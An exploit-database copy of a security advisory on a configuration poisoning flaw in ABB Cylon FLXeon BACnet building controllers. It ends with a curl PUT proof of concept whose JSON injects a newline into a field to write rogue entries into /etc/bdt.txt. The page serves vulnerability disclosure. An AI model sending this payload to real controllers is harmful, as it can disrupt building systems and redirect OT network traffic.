ABB Cylon FLXeon 9.3.5 (bbmdList.js) Authenticated Config Poisoning

Exploit Details

Basic Information

Exploit Title ABB Cylon FLXeon 9.3.5 (bbmdList.js) Authenticated Config Poisoning
Exploit ID ZSL-2025-5935
Type zeroscience
Published 2025-05-19T00:00:00
Modified 2025-05-19T00:00:00

CVSS Information

CVSS Score 0.0
Severity NONE
Vector NONE

CVE Information

Exploit Description

Title: ABB Cylon FLXeon 9.3.5 (bbmdList.js) Authenticated Config Poisoning Advisory ID: ZSL-2025-5935 Type: Local/Remote Impact: Security Bypass,…

Exploit Code

ABB Cylon FLXeon 9.3.5 (bbmdList.js) Authenticated Config Poisoning

Vendor: ABB Ltd.

Product web page: https://www.global.abb

Affected version: FLXeon Series (FBXi Series, FBTi Series, FBVi Series)

CBX Series (FLX Series)

CBT Series

CBV Series

Firmware: <=9.3.5

Summary: BACnet® Smart Building Controllers. ABB’s BACnet portfolio features a

series of BACnet® IP and BACnet MS/TP field controllers for ASPECT® and INTEGRA™

building management solutions. ABB BACnet controllers are designed for intelligent

control of HVAC equipment such as central plant, boilers, chillers, cooling towers,

heat pump systems, air handling units (constant volume, variable air volume, and

multi-zone), rooftop units, electrical systems such as lighting control, variable

frequency drives and metering.

The FLXeon Controller Series uses BACnet/IP standards to deliver unprecedented

connectivity and open integration for your building automation systems. It’s scalable,

and modular, allowing you to control a diverse range of HVAC functions.

Desc: The ABB Cylon FLXeon BACnet controller suffers from a configuration poisoning

vulnerability in the put() function of bbmdList.js, where the writeFile() function

is invoked to persist user-controlled data (req.body.bipList and req.body.natList)

directly into sensitive configuration files (/etc/bdt.txt and /etc/bdt2.txt). This

write operation lacks input validation and integrity checks allowing an attacker to

supply crafted JSON payloads to inject or overwrite trusted BACnet BBMD entries. As

these files are critical for network configuration, exploitation may result in unauthorized

network redirection, denial of service, or insertion of rogue nodes into the system,

thereby undermining the integrity and security of OT network communications.

Tested on: Linux Kernel 5.4.27

Linux Kernel 4.15.13

NodeJS/8.4.0

Express

Vulnerability discovered by Gjoko ‘LiquidWorm’ Krstic

@zeroscience

Advisory ID: ZSL-2025-5935

Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5935.php

21.04.2024

$ cat project

P R O J E C T

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$ curl -k -X PUT “https://7.3.3.1/api/bbmdList” \

> -H “Content-Type: application/json” \

> -d ‘{\

> “bipList”: [\

> { “ip”: “127.0.0.1”, “port”: “9999”, “mask”: “255.255.255.255” },\

> { “ip”: “MALFORMED_IP”, “port”: “notaport”, “mask”: “999.999.999.999” },\

> { “ip”: “1.2.3.4”, “port”: “80”, “mask”: “0.0.0.0\nInjekcija,23,0xdeadbeef” }\

> ],\

> “natList”: [\

> { “ip”: “10.0.0.1”, “port”: “22”, “mask”: “255.255.255.0” }\

> ]\

> }’

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